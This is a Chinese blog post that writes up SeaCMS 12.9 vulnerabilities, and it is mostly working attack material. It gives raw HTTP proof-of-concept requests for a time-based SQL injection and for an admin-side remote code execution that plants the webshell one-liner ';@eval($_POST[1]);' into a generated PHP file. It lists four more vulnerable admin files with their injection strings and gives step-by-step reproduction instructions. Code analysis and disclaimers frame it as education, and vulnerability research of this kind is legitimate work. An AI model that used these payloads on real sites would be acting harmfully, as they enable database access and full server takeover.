SeaCMS_12.9 sql注入漏洞+RCE

侵权声明

本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。

如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [[email protected]]。我们将在确认后的合理时间内采取适当措施,包括删除相关内容。

感谢您的理解与支持

POC

sql注入

GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list  HTTP/1.1
Host: demo.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

RCE(后台的)

POST /fwmblp/admin_notify.php?action=set HTTP/1.1
Host: demo.com
Content-Length: 68
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://demo.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://demo.com/fwmblp/admin_notify.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: deviceid=1722062988348; xinhu_ca_rempass=0; xinhu_mo_adminid=yy0nm0mjj0mjn0vy0mmj0vk0mmn0mjm0iq0mjz0mjz0iv0vi0iu0nv07; xinhu_ca_adminuser=rock; WS_ADMIN_URL=ws://demo.com/notice; WS_CHAT_URL=ws://demo.com/msg; PHPSESSID=cht2r7hck3t75nu2t0k8ln3his; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D
Connection: keep-alive

notify1=%22%3B%40eval%28%24_POST%5B1%5D%29%3B%22&notify2=1&notify3=1

分析

SQL注入

根据poc找到漏洞位置

这个else if判断的是ac参数的内容此时第一个参数起作用。
$id = $_GET['id'] ?: succeedmsg(-1, null);$type = $_GET['type'] ?: succeedmsg(-1, null);
这两句都是通过get请求获取参数。下一句可以看到删除弹幕()是一个函数并且把id参数出入了继续跟进该函数。(还是第一次看到用中文做函数名的)

继续更进删除_弹幕数据()函数

可以看到if语句是判断type参数的值是否为list此时第三个参数起作用。进入判断里,前两句将id参数进行拼接,后两句执行刚拼接完的sql语句,形成漏洞。这里有两个执行语句的地方都是拼接了id参数,但是只用一个执行了sql语句,也就是第二句。

RCE

同样的根据poc找到文件位置

可以发现从post请求中获取的notify1,2,3都是直接拼接在<?php ?>如果可以传入一句话或是其他有害语句就会形成rce漏洞,但是需要闭合前面和后面的双引号。拼接完语句后保存到了根目录下的/data/admin/notify.php文件中,因为该写入文件没有做权限校验,所以无论是否登录都可以访问。但是写入需要登录。

我又找了几处相似的就不分析了,漏洞形成的原理都相同
fwmblp\admin_ping.php需要写入的和上面分析的相同
fwmblp\admin_weixin.php需要写入");eval($_POST[1]);("
fwmblp\admin_smtp.php需要写入的和上面分析的相同
fwmblp\admin_ip.php需要写入的和上面分析的相同

复现

sql注入

RCE

1、首先找到上传位置。用户 -> 会员消息通知 -> 通知1,2,3(任选)

2、写入一句话";@eval($_POST[1]);"

3、访问一句话保存的文件并对其利用

参考

sql注入
漏洞复现-CVE-2024-29275 | CN-SEC 中文网
POC-EXP/【CVE-2024-29275】海洋CMSSQL注入漏洞/CVE-2024-29275.py at a1f364d0534810a7db9a65a24f97cf67d948f444 · LaoW1823/POC-EXP (github.com)
rce
CMS_vulnerability-discovery/SeaCMS_v.12.9.md at main · XiLitter/CMS_vulnerability-discovery (github.com)


免责声明

本博客所提供的技术知识和信息仅旨在教育和分享网络安全最佳实践,促进网络安全意识的提升。作者严禁将这些技术和信息用于任何非法或不道德的目的。

使用本博客内容而导致的任何违法行为或后果,作者不承担任何法律责任。所有读者在使用本博客的信息时,应自行承担风险,并确保遵守当地法律法规。

我们鼓励所有读者合法地使用所提供的信息和技术,致力于维护安全和负责任的网络环境。

感谢您的理解与支持。

热门相关:闪婚总裁很惧内   全能千金燃翻天   全民女神,重生腹黑千金   明尊   江太太恃宠而骄